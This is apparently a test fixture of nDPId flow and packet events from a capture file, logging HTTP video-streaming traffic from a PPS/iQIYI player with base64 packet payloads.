+00979{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":103507,"pkt_caplen":479,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":479,"pkt_l4_len":445,"pkt":"ABxCjnAxTF4M6gNlCABFAAHRefhAADQGEgZ3vA28wKhzCABQxTpEjOZYFmclJFAYAB\/Y6wAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOS40DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjU2IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LUxlbmd0aDogMjUyDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KDQp7InQiOiJPVkVSU0VBfFRXX0hpTmV0LTExOC4xNjMuOC45MCIsInoiOiJ0YWliZWlfb3RoZXIiLCJoIjoiLTcyIiwibCI6Imh0dHA6Ly8yMjMuMjYuMTA2LjY2L3ZpZGVvcy92MC8yMDE2MDYyNS9hNS9iZi84ZGU5YmI5NDY5NzJhODg1ODlkMTY2Nzg2MjI5MjEzMC5mNHY\/a2V5PTA3ZWVmMTgyMWUyMzc5ZDMxMzZmZmUxNjA4MjE4NWJhMiZzcmM9aXFpeWkuY29tJiZ0bj0xMzc3MTkmdXVpZD03NmEzMDg1YS01Nzc2MDg0NC1kZSIsImUiOiIwIn0="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1053,"source":"pps.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1467353157138,"flow_last_seen":0,"flow_tot_l4_data_len":392,"flow_min_l4_data_len":392,"flow_max_l4_data_len":392,"flow_avg_l4_data_len":392,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50491,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00905{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1053,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":138270,"pkt_caplen":426,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":426,"pkt_l4_len":392,"pkt":"TF4M6gNlABxCjnAxCABFAAGcDxlAAIAGbTXAqHMI3xpqQsU7AFAuAjEcSma44VAYAQTWMgAAR0VUIC92aWRlb3MvdjAvMjAxNjA2MjUvYTUvYmYvOGRlOWJiOTQ2OTcyYTg4NTg5ZDE2Njc4NjIyOTIxMzAuZjR2P2tleT0wN2VlZjE4MjFlMjM3OWQzMTM2ZmZlMTYwODIxODViYTImc3JjPWlxaXlpLmNvbSYmdG49MTM3NzE5JnV1aWQ9NzZhMzA4NWEtNTc3NjA4NDQtZGUgSFRUUC8xLjENClJhbmdlOiBieXRlcz0wLTQwOTU5DQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiAyMjMuMjYuMTA2LjY2DQpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpxeWlkOmFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDo1MDA0OTQ2MDBfMjAxMg0KcXlwbGF0Zm9ybTowLTINCg0K"} +00835{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1053,"source":"pps.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1467353157138,"flow_last_seen":0,"flow_tot_l4_data_len":392,"flow_min_l4_data_len":392,"flow_max_l4_data_len":392,"flow_avg_l4_data_len":392,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50491,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"223.26.106.66","url":"223.26.106.66\/videos\/v0\/20160625\/a5\/bf\/8de9bb946972a88589d1667862292130.f4v?key=07eef1821e2379d3136ffe16082185ba2&src=iqiyi.com&&tn=137719&uuid=76a3085a-57760844-de","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +02135{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":142996,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUui5AADgGBqjfGmpCwKhzCABQxTtKZsK5LgIykFAQAB\/uTwAAXABAYzwo9cKPXABAY3wo9cKPXABAY7wo9cKPXAAACQAACKIJAAAyAAAAAAAAABcAAAAAAWQAH\/\/hAB1nZAAfrFYkCgL\/lmoCAgKAAAADAIAAABlHjBjFQAEABWjomvLAAAAAPQgAAAkAAAAAAAAArwATkFblpUgAAAAAFAkAbwgAAAAAAAAAFwEAAFAAAG7\/ZYiCABX\/95xkfm3FH8zfxiVyZItj2+QvcPG\/css\/ZW+K7oKmOXqvyof6+MpsbuBrR3NlYBBVWVRq3WcvPz43KJn6OOq7wUatnW33K69XETXFsUoSgXdN7o0kq4w+hJrrFVm3jhsmgXWVk6qs6hebWuZRXfCylsvlyYQvoo8ujkxwf\/jOPhyl6i\/pTDKbDQZOrGmk9iGos+6hcPjtrVmq5rC28bSpDQb\/l3J+48zXTAIJQ0eBYWXFdgZPT7ei\/1f\/9\/tmNrD8GxGJp2OeeHzKlWg0+2iCixox6opp5+CbF3ew+UCOGdg3U\/5oVyFXyPX7+O0Is6zwfWwGCWJoC6\/zQa49qCQPS9W27Dn4e7vsWHcsLdg3UHzR4Z1JuDFBW7ue0EA3sC0gP\/mqqJuTdXptxBOJRjQ63vSnOV7PtDcJs4A7oWz2JzmEh+VbAw2U5760xCgZf0h+IR4GdMhaD57XDY8NdoZSDUzKAjvVKzHkc\/gdXpR0l6TIGuQcP2n5BFznR2iYeCE\/miwzmIeVW7avmSkaYobdmdMxT40yLpSDo7E8P+71xqJEqUUh6vFl9rz126Cgazh0LClcgaFaNKcZScAJKPrVP1o7kkOIcKwxW2CdOD77SH4zyVYWD9ULtNPIZ77Kl\/LYJQ8L2R419x+V6vNClYH7FDNYQst\/D12fjQ\/m+4yqq8ANYgNFZAXKlC8uKiIfcH\/TAErY7s8c2cJx1lhY3xTKhpLrPcsLU9UsA+Oip34KoUwvW3F5sUP0n2c\/KNlUH5ayGqegy5bryGeYm\/zuaor3RjqVC+afHCqaNQNUM+bdihsi6\/dYDdiuHkznFARXAj+HmRzPclqFdQs0umlOh+4nrXrTgUTsq6Mijt5YgP1vOKM5AtjEldVCDmGr1tU5uzTP\/wOgMtD4fsuENAnY849iMY16mjQC8PBzOazume30AYsAvNe5umLe2Jg9g1q77PVd7s5Hu\/6sIJWIf7my9bXHqgu1vXqQE6ohulSfKXSbeWRxV1zDne\/VQKrMqsiN5thBJ6eGrmP690VCEON3vIc3K8eMxOBEG1sH2gt0\/QY+qtme7NqWlgnah6YGN282gbUWFJTA8lul4VGFodu6rBHcO4b\/OZ2Vgodz1eVa7Rvhlz0zeO\/YLtQjl7fwTfVY1piKLJlsXBuH5KXSLNolBVVHCVrAQmkekZvhiLsm\/G4SGTer+1uPrS5m3ZHSe234ovyt+yHtfZCEP\/\/gOVJ5LO7C7uAyroC7rFx6lIcBOyO9mnt4Fi0rv6nmI9Iuf1\/XjKYeJJ3hPNphBZXvUwpvdJUyrMP\/WSQf4xrhUZbkn+wcvgAg5Hq\/N\/ilxIaAfekOtHVgU5VwnYm0lrbpwZtnYoLYol2itsi\/Tiny8B2OHcGdfUzCAOCON\/0+\/ipakxXBeRa7CLgs5mjI+rNnEby8whMLuruKRetpD4LDPViHWG\/OwHoZ14S6hpwBDqQ07xh3U7DjW9xs4GqS"} +02120{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1055,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":142999,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUui9AADgGBqffGmpCwKhzCABQxTtKZselLgIykFAQAB\/aLgAAopnkFb6w\/Gf9wcd\/TnuexQBjLwWa0uCe9TPr4qE3jsphraOf\/lM4Hhi9NJILTNUPpkUh0lJVsTBg0+IryxSW3IwYySV6wkzB0\/tYDwbO6SOx\/W5mmrffIH5hc9hR+iJYkdxSMJyhs5tL+JX3Z4urkWLC21HQmnbWWhKwwr3IOESy8lC4QLT5bzgZZwV6aylc3BKRGmkWqvo3gveBLOrAMA4JoqHhbMBYA7GEB3n5XVRePARG35OUMCE\/8TDQo0+dLC24GKANopCzYZkvfPVaY0dRDrv50emXg1Cs9WSfVu50aDF7YYVdx5mx545GrUAMEsqIjDQ\/4DCox7xS+Ws\/dwFhUTJ0P8Dx\/xK2lp12JPYf\/zG6tdTYMt3AacBTBvLHFFde\/reBoQaTbZB\/vJdywKaKtIzwqCOs4Q9YPbL8+Pq1VE1FdEBeuONtnWPx9wNuAvH6U\/JENWXsD\/bsjom76483YU\/XZIQUgj30cOEgQwuDamiBln+90aAngeN2nOL6ntmgjdG66Xp5PKfwQlwuGdvacgApEFyIvnfxUhm77eXRcDexRzOKtayXJEIXZt52rm2WbDXx+l2L+n6mDI5HPlSGKuvP84rwmMwhT7yEvzQKbivh5sn9I8EjZx6KaukURUZTKe54jHmLC3Jmf2BKkUKfD+otim\/knbUQxDjsPRmRG1Nf5oF86K6KEl\/nFEI9A5kcjFcko+VuDqw9SWzSXgKad5EYc4r+hlUwt3uzj59viQUjCCWYguaIGZ8C5ZjdSExE6IsY1BXoMFqHoRzfJaDg6uSsFAjJS92cQgN0nWwTaQFWx1m2slB35iQ1wft22PbPDl49icFcTFpAz2oY5Pp3lfvj5IUJyUTHt3u8v74exA53o9ooOtbqs2j42om\/zaB3iyhBCsOikAKzbr0K6CxGSwBAWdloUe96BLdalzPNcqhIK0c0YJvH4tBdmDh+5ufseEBw7BGI2ipV6yVNpFO0kDqCajN7YsN05JDg13dAXzY2SAQ5QfKni3cz7N9WhYMt7COKUvI+C0iwIaEB32bniucRrN4HsPO11eCbWDnltN\/+kP2qhoa5r1DcSUAZq6JPm51\/USDg6qO4x\/Vapf6ZVCWehE+KdgGpX4qBTKeA+bV7qois7qvnsCmBXUWPo21DtRYTVMizQCWWQqH0CGGSEtoZ24ZE8Em+sX59yNgKKKnBzY4rxhy1pF8qyBkoHpDm9lBx3JEleYOnrbk5vilJTiHsG0C7im31hM5hXvKl2rEhKIpc+QgsAwc8xEkz7398lWjZRYNmVmvhEG3GTaIjL7zuDYVBFnz\/Ep+CquTSroYI\/KVwc+2ze3Q+yBDcODi+bFdRr\/qJ\/RfL4FgeDb9sduAkPb3xQiixfjLzyzTazf6dzG3+S06aSi8zpu2nZ2pA6Ukh\/FodlR311cw8YfsxYuiSFyYqZDzpce1Qm0XZXnys8qlDnUmjILug1tlJBa1UzH74juRDwgD0Fnwh1MLjNAsmUIrgA0GSsiEjUBU047yfXV\/qzyvQus+1BXKIiklyV0Xin7L0ua0Yj38t6gGn+ytwXAmSh71WYg7o3suhEh2DpzfHKZ9IBKf8gIvOvhTvSepAfXGEaca4phlMY6YIuwsde9HzRk9q6m3wLv6MKf1l9nyMKAHgaDMdK68E7LAU50IjtX2yCF8K"} +02119{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":143000,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUujBAADgGBqbfGmpCwKhzCABQxTtKZsyRLgIykFAQAB8dwwAA\/2jHnnAjB8q5GMjAl4zO7LmXSDUbnUXu\/QeEOdeU7w8IKLe6izdpw3j2Z95byEoxuUmCU0tLcTJb40tSZEepvDg+V3baz1GA\/qTEB8Y+vI6PYjCGhmkGu76k3VSeTvrwOLGQdqIwOHc\/D6Z3L0KX975LbwqygQMFNaOJPuDns+HxqpIHN3yv7xW3JFD6iZuOSyeE1HuKufQv6Do42XCNBrQs2xmwqo7Gr+2+y1wDDosSssblbmp4+GmdUL5C2CHhwiizQjAS1CeOFLYIfHK2ih\/mNG58BzPCQV0\/x01qNfHcmYvymf1oZp+\/4qbYCRe9PVn\/1pHt8wSQpKANb3ScynaRa0MmMtG4ZEr6Vjidorc2Jr6St\/ouYncqc20iW9BTq1gyL2K\/xWgRwUFJU0RAWNJk+NWNcrlNPGYVkJRlJFFxLM7Q4CesgbiDw0QUWzsg1WBJavOSLGlthM7yCYh+d8ZgBLJdUlQ7KXlbHMjUxZcuz86ekXzACdfxN5DYZpY6CIi8\/OzJXF5AgTQoOd5puraHpr18IaZgXmA2RqTKfj64kDI6T7W7bjHfT9+hkLO48g7mbNvhXDWfuvRgY9m98Q1x0yazez6cTT3fFKqDNBtWUD1JyjqZR67ZGiVu8syyAqypnHnpFiLhMMUyO3WhIwia6hpbbEWvZH\/sFNkwGDG3OmslBRugeSXPjj3UzwqoQRsQdIGz3Qng5gn6b4B54YaBcds6Fg4WsGo\/3EnbiNaTDRN13Y+IojlPcVK0ElIepyIWwC7ZP67hmgSIqGpBF7tfpkr2Ci2QMf63jbxD\/qay+z84U5Phsx\/yp6bsRjKHaCepenNhajntBUN28HMhNRzxc2E1thxrf7rC8AjlRaSOqNLP79VJzt+zhV0hnQXgvzGhmaqEHgsoQJvTtJVQi\/jEjTWBV\/uUmBLTGI8ITpb1nBrEzSAEJW5H6a458VxtnyGH884Y1xyojGEVOAF3cHAPWhpDLTOImiyvUVg2PsiKMsofjYG7fsxoiSLV8Gxir0hZ\/LVXeNfrB44JjRg6secf0QQjXDseoT2bXHOcbCi88gv48SotwgOtT2c\/QWQidxHev0YXqq7Kpua4HhnUbFXmHQah9ZoXBZNvHL7pHrRwLJVZz4cHZD4\/Ttzcnovids9AXICddXhSUChqf5Ij\/8QHDpOSUoCBpe5b6b\/ON6WRqx7JRFj5SqiPx4PEBArHAQfBXeyWxj0sIy0G30Su2TQygwugx+A55sUfpOrfDx0ySMmOmUfjIHE5X53rLmT1OfqY9QVCiwzY2SgSbrI6w9eFbie32jMw3wlRUJ0vnLeq8daPhXPy27CQycBLkhZDx4jyq4WxsHprtdOC4L\/oQpTNkg71SAEwv\/vRjvhAAESZEsSwLeJrUZjGPCCmdrpikCyp1GqWXPr6g2LLjYh55g58h3idnnmlKZlcnMzKJOMRxfVIpebHgluXMdZVngpDLB6xwtZecNZWPGg1Qqz98Nt+tJXGy102YvFu148fL\/wAZl7XUYASJyTj1KUGp5270h0+k+ceGHg3fDHLv4Mjzu5okoWLo3YnDYJLp0RwelQ68nkSmBYfzSeMJZIo5NQ9V2VzkO+yUwpI0peX26TQheZJQ07lPJotNG\/mlKCwkqHBv6D2CppXEFxm2NXWCoRW99M4SIRfWIT2f\/5Z"} +02109{"flow_id":60,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":143001,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUujFAADgGBqXfGmpCwKhzCABQxTtKZtF9LgIykFAQAB80AgAA0cPuZwU215aYjOEY5CkoiM34f97s+2EXBe4psWVjfM6tiSFGDZN5St9DlkSeJvgz9Qp1thej+q4pPgoYhRCdZeZi+sBMsy2NdifeaBsIxAMAACq8gRkEX3JEga5xqwm4LUx3LpNK24jWUESZrTgCmD2tFMerKxjLDYNLIZF93WHrpvik5jCqGCg40O1vOJLLPeEe\/bG61+85MflNlLXltJqkO57pzaiYsI1M6CVmSTYqNgMZ48q0BZKlwST711f0sKdkXuHk3Skq2Z\/fH4roYtWkfmF3S3Swlxva1rroHwBpNNZyl1q89JmxwLlPAfjzwx0iNju77j7CsLjzCk8u9yFg2OJpzLCZKz+qHHEl2IgrZHMYIPKfA7vZBZylMaW9tdW3ahq0wbekIMrTdKW6WpIxW4MqFgdZQrnYAPgkSjomHsHiW4Fec+YnBzhprpRu4UllL06vAKRmhzTAj6+UKWdys17eu1nd57pcrPFlmmDWs+BnwM3vU+UTG6Nj0at+ZhOYm5uk9B8aMCIJvR03y7duVXCOnJjRdmcDB1e1V8MmyJvndljPznL\/L\/KaPcdu1HH3uYGGYQufgh9vVCBIAeQXHWWdUSEbHsEcoW6mYjSvRQQwnVlF0dEugjFqITabMW41oNCx99KzJoJCFMgQulEyhvt3u6kW2+qQy3K+lDBIXBa+PT1dcyFqMQht5QXw2WkPeFcKcC75iK+4wDyKS4GEAhq95ZCgoBCJcApd5r\/pjY0wjDvqRBDN\/Qucrn9seVyo91JExyAtvClAjllSgQ05yMd3JJqwhPWEwzjwnOopazkWUJYJjbwrpI5+kyHFn2lmXFUBh51fdv4Y8BP6tIlSB8DYC0A0MhLPPKOHHB2QgMLMKRml7+2++2eXn9GE84AxDK2jorTdOAx\/j82jwoYeyYf\/q12t4OBlaayfpjJYuotCd0E+C7xccPhfgGd\/DgiyHQ8tQKztO20ZRQFSI27ORRL4ibVaJm7GKfZqTIJD5SudtdJHYnVwviHXkgYCOuTdmoFqXbOhz62lqG\/iSFkqEbqKvrLZQnckgMg+MXgsDQ2jgUaboA85ScdtfhU04KsLSZZlJ0jQCzOwB15tS4plI4TIUBuEsuHFewGg7g81Iw+mHcZhE8LDwVlFeXqQ5tvidAwHCBFvTDnex23o5u8ZR5ExLJ6HQ3OwGIVdQ6rS8dy3xjkDQeqwCSGwGVSzYcfvcVOy8VM\/2BmXP3kOP8nk0p0K6HUHXbiIGEks6zr03x9k\/jfBsS0rLKvef9+XaUavedzW\/ZOdPvQ5fKXOjLX++MiID55yYP6kkXDYhiB3ZRmpbd63J8X0WrW5TVpUuRIztuGuZHelAIzhwoiosNT4Bv57xkR0CdnY9NO4tf2ukgCkDo75bIa47QS4QYcOERXE9j9Bxx2\/muud9tHVLnIDG719fZp1xQTSsoRSTHvHsbF6XwM1SmKRT058UEeldh7SRx+\/t8+ZPDJENSKnBP4x123r2vdFkxXH\/ayb1y1Uzt+mdqW+XwLFcQe17zbKBbsnBusEbpgAeg1TI32YHefr68em7ktNROYGrfFWqYVrMxb4yhalRITqBWLTmn0M8AaBae\/LtVX8klmoV8E14vupxxYB2c+mtCkQLK77kx85fHsUWi0nN8omVsrcvYwtLQA9XbsHc1ilGb3W"} +02111{"flow_id":60,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":143003,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUujJAADgGBqTfGmpCwKhzCABQxTtKZtZpLgIykFAQAB9rHgAAj8WJ4pslCRNOR+WimGBfHChn5njiqVeIXEMTIzODyRuFB69wa0MJ6niQezWvCQxjAAe0IjHgMb31uFc9Kv43R1m26s4gii1UFato2JDN3wrz6K46DUh6lZBVEtL1VFec+VyTBDsxFCZBy1EXaEEJQv6Mcp\/lunet04URAOp\/matkIkGGZw65SlQm0nWrhV88fiORC+AmiyFO30H9p+h7K1udis3pcFLXspcBRuX9AOYN9ZpvmMWyOonVUGHcWs\/0DU0ifxTEOdLBTSgFt6BQAiG2U8qqNezzLdtfhQuRTwSJz1hm2WM7wL7AWXdCNu7ZHymjaYLBov1J5CBlLgwT2SsPwUtKoAq1TxMUlzAZ5U5S0cBoweRaWUr\/uFYmSRAfAR3T73qSJWl\/JZq7QfSRlT+bAqaFopQF7Va6oftUGhv+903bWZJJsLJJry4e4vhd5QKsgiSueKxrO\/be93fKhDreY5JWfkdUfA4sd9oo\/fGbjz3GkTgaxIHmzBkttuypHxlDfV8knyQTAQ2vFQg9mh49fxUJ3fiFwyKz7EIKvBYKInUaHy6Me5np0tpT822GKBSARKIhrRcvw0yBmcZ0YVS5yXWUdHlr3kj3m\/HpSbiBsoWPoIcOARTNRPSxc86EDiiEnGQuYs33KLrhlRunKFjD8CQe0EideshwpLYjb5efLWK7fa6u25t\/e6WkoC5crcj5b6PJFAB+f+vzqlrpGWd+z1QNq46zD0oZY6QYM1qcZrTyQSIdvaVMdITPbBpkShIt4suFySaUJAOgZCw8ERtUzpFluBFXFZN81Ws\/Az9ZjLoY\/mhR0PNteZ4HuIK2OVqTz24JLQH0bYURXRCIYh5xya+dERiLd\/qiO+pY4W+z+V65mNxJs6dSo69\/s2OJVWIgTFp3944aD3AZoDzeEhgM6ml+R55wGYNyoWdsq+2du7QCVCSWJv7ohFzz1VB\/KKmbC1Kmd96LXWkor+A3MXifCVrC0MaiX6C7zAJot8AsAeN05MS0X+YtEKWrW7E6iMXt2LYLy495699bujhcueAQXq8PahnmUC+vb7RC7sqVRA8s4UnTmBhhmzxxEac2k6B1l62utJefh++GrVjZbi+IT+tkfXr4PCtJM5SOmyAuAhKa5NyscRU3e0XQKUf+WtmfNs3BPfY0ZUWM91Z7K348Xwr+63c9aYofLErVHicO72s3PmGVHIaGFXOAtLpU1eu7IWJjLLoeAiQnzcU6EoxtWIj\/6iAcn4IhpgVeAAlquEfLp6mNKMqpHlUqrs\/2CP+gJ4pYcmuv6IGvNpLnr131TPu3SD6uW9Gw7xK5F4QKenSRawOINFUJJVOIUPoM3PzhUSE+vZE++LTE\/MZzC6AnacYFRAbSZpr90ObehpQl0xBiTtbAyRcvq44XciZC3p5tK6lhbcSLaSNwopVIQNzxcqH3LGkbCuzPueUpapUQuEEUtsUhtxA1lCUKPbz1gx+Xk+0nh0IiCxDiXENO5+sCilkbNnDc7xmVnOVdqWyMb923RD7PzdrRVDL3RUA0mFcF3i\/1+dbvkcS84wsSmTqqmQygJzGWypU+jIy5hi2\/GtNPxaLx7ic7xc892UhS0EDN1lXWZcE7lzawrx6g5gv0vaiaay0QB1gBYfFxhycWoTBcXaafvJT6EvBeDJOrvXmg1StWC9lubUir"} +02129{"flow_id":60,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1059,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":143004,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUujRAADgGBqLfGmpCwKhzCABQxTtKZuBBLgIykFAQAB+1AQAAkV8DbTLL7b8EPrvIC4A0hhA\/dj6eL3PtT5p+A6DsxPsjmPz7EB42raA7GmnCw\/k0\/uihtLDl24VJilkXE983r3yAISNUPlMlDDm0rQpGsRNV4uzgTSgSIyF1IxFgfcpJPi4rHs+TIjH\/QyR3EerqVMQp7E93JOI8L1QhSHFiAFORzFtO5IUNKnvKFAofhtOGcO3fp4EwA1hTN5dqJnPH4NkHeNEixtm3i\/ZxrjvFzrbZ4DUCOWxFSidaQS0KoiJxl1RA1WYOik0o+JAMM2\/ZXbrJLlgVDuIGlyJeD3n1H8DABSYRLAkQGn\/Fk+DBAucMQ\/wsoZUis0yaAmjyfxJcMLYxPslaQfNhLPuohIf5w6HX+ghHOZno2q1zYh3aMtg08PmUUZMxykybvYiTv8Ug\/w8xnss3Wkl0OBMSllFF8Bpq\/ttkUueTVuyutXDYwo69LWc2DJMCyWxKae7qZYTLFmjvgSXWl8c\/14rP+0gc\/iEVJ\/n2HvhbfhxA8FIfAK1UPyMBo1nsdAfDJeDUTYtD42CS2rUfpRRKDaPAQ6WfQyzwTTqP6\/V6xAkoZuMytde+8juL0LKN1A5kXIvEZXruzFEQorGM4lF+HlEAkJuy85CNWydOM7Mg1bHNKfYrF67+6a\/f\/1TcpXy+MCBZ7FStzknjr4JD70fh+8b\/u+kpCeQMHEPftbxvkyN6297y19wGZISERYa9vrsfikeH\/o9\/PmxPG7vUbdcE1Xvd5bIuFwbXISD4OSzHniqCtfF\/QGw61Yl9jvtpfP26ZsD6T+eQ\/9LwzMhrPFiBcYqonuKsQKxIu5VoFYRYk7D0r7kW1g4s0nqBiRkVsbWf4CXbp9tAn1KVvUSg4FipiwFsPPx56D148txMon5NcHwr57wmp4EP5nGx73O3ycHPW779wUDMDy6ir5fNGU8E3AUViNhXMAqkr0rQdLvEYWvF5gNdiFVcHr6JUSTnmRNrH44mir2LzyvQpzdYB8j8aosM7IgxROoLegsrvuNwFeDMfZ+vCGcAoOmoWi\/hhFhKBW9BTY2AaqO\/etDzHd7NWwMvBDoFfyfddopgHDeE6KXDR80QC68f69Avwi49oT7LJuaLxNYiGfURlvnH86x\/a6pZtcFft8Ui\/Dkf1W62b+ZivHsq0dumrvG2kYasmtEVWhqX0cdwEmfK33be4i340lTw9m\/HXw\/Z4nQgtD\/beNRei553LmB4xGpz1XMAF9kKZSFkWwyhqhnup6UjSCpa5XSxTJ6uPLnRmWJiHcJSFQ\/O8caIS6yBEj4JA1fHecUQ3U17kJo6GiSBZMXJA8GanEi3\/0Dwf2M2+NXxGbcUMPSYCevydlZVEcanosORZ5FDluRSphXL3\/r8VE4BrNQ+L\/w7CoW1vVUXY9fbJL3BaEBwkJk\/Pp8Zy6h8awK6emBmNpAnVxQ7PMKzY+SgBE0cNTwm0hihj\/XeC6i5ayX\/SGaehWMvQ1OxVXpFyYlkjUF2jlO8vPmXqtxyBmzSPK5ap9lSLgwWLdJ2kgXXpqyBkmF+3ucR4LKysA39i+kTH\/bX9Mx2t3SUIsVzpdSSw8QxmAqeDt\/fN2IJeCPSD5NjZNuBgSovvYdfCCP1KsS5CJl7MNVfaygBhCeBMPSHqCtaitrjQavwteG+OKgTnSb6zindOBjkDNlot6yyCO7JH3ysKYNw"} +02117{"flow_id":60,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1060,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":143005,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUujVAADgGBqHfGmpCwKhzCABQxTtKZuUtLgIykFAQAB9C+wAA7hCKuDFO4J6PURlqtt8Nn3A\/kvRVCHcwcKWk10KdAizQ2Z42sJoIrZMVKNLsWZDMt0X8cIDdAWgtn7LNyvA3oqdfSd+qZjpNXS4NA7yQZrLiX5TvAIxWteLK0AjTjQW3pOxQDRcHoBIc160a+cGw\/ZYDo9SkVu\/DEtECr1dm14ZLgrBsXGP+tlOEetb7nUqfpkYiYmQT8Twrx9HRlXKnuKdYmUXI8WEl4cjEiLFDG6f2FasXB3xkkPYeadHO\/aD1enVbdf2oN13l0zyOJoGkYnXHD5SUfvoYq4pA4IUW7JokC\/3og2czq9oiFU16r31MS7LwXv6KnQFVdf+w2yoj0RzOGs9tw0e2+z1woOa1OTNpy50QuSIiFwKOSBTNv6gopR2Srl3JdSSAU\/4TigF4tyKhsiXQabNXTe53q\/e1gt6mBAEvVdabo32EBolwQlqhm1f4KSME6ktzAJTerOZ9Lp\/47wpg5fLFClNXN04NDxmznkt0CSqS2HrWLqHZkRl4uMwVByhxoxFb0H01lrvtz8pQQfTq83HUamG3bWWSc8ybyVbq18dX65fIcmqpHtpIJ3BIUr6JEL0Ujaod8JfM6tkxExrXpnFiJWiwVaaeeaWkgkoFPJp7v0Tq5iUgMgq6m9+Yiunlb2yJSvrCIEgaGuvTHF\/Eb2VBVoyB1f1\/Zo7uYOCslx3JM7fQ+B+2xfBVIkbgdUrlAvRu9N9HMagCTPOPothR1QIl7giketfZOUgMXZKMhLlSETx8uHNxhI+DBfyUc9iEi9LAqZJJ3ArqiJw9RdF6fSZk1or9yhpn8FDnAvPs6zoFgRm9TKBjUcPRLbjFyDwhgjNPjrdiAm5dZQ+jCZiSVuHb3G4WcdMeepAizsEGyGr9ul5GVvIm\/05hLNbfxOC5qPtkwDM4KTVFAMCUHizNQAP4\/orPfSXefmKPW54th8RhcTtg\/2\/66I7Jbeo1c8FLtD9rk5p7sWEWAw5Ntf5D24gAR5ITR6T2iVqVtXXlW6C0zZHiPBnaI0L\/qsQibgChuZFoqXajOkifRJGQBe\/thNEuDkvUoTJb2MiSwF7Sitxf4pXP7WaKHf\/LVNxmdDZgDZIbfqHOqQiinFYLh4vcsVHWWnnuCX96CNpH6yir7CZHtUZqw1sxz1vpbgJ1uOh8q2HMYUIBg657fl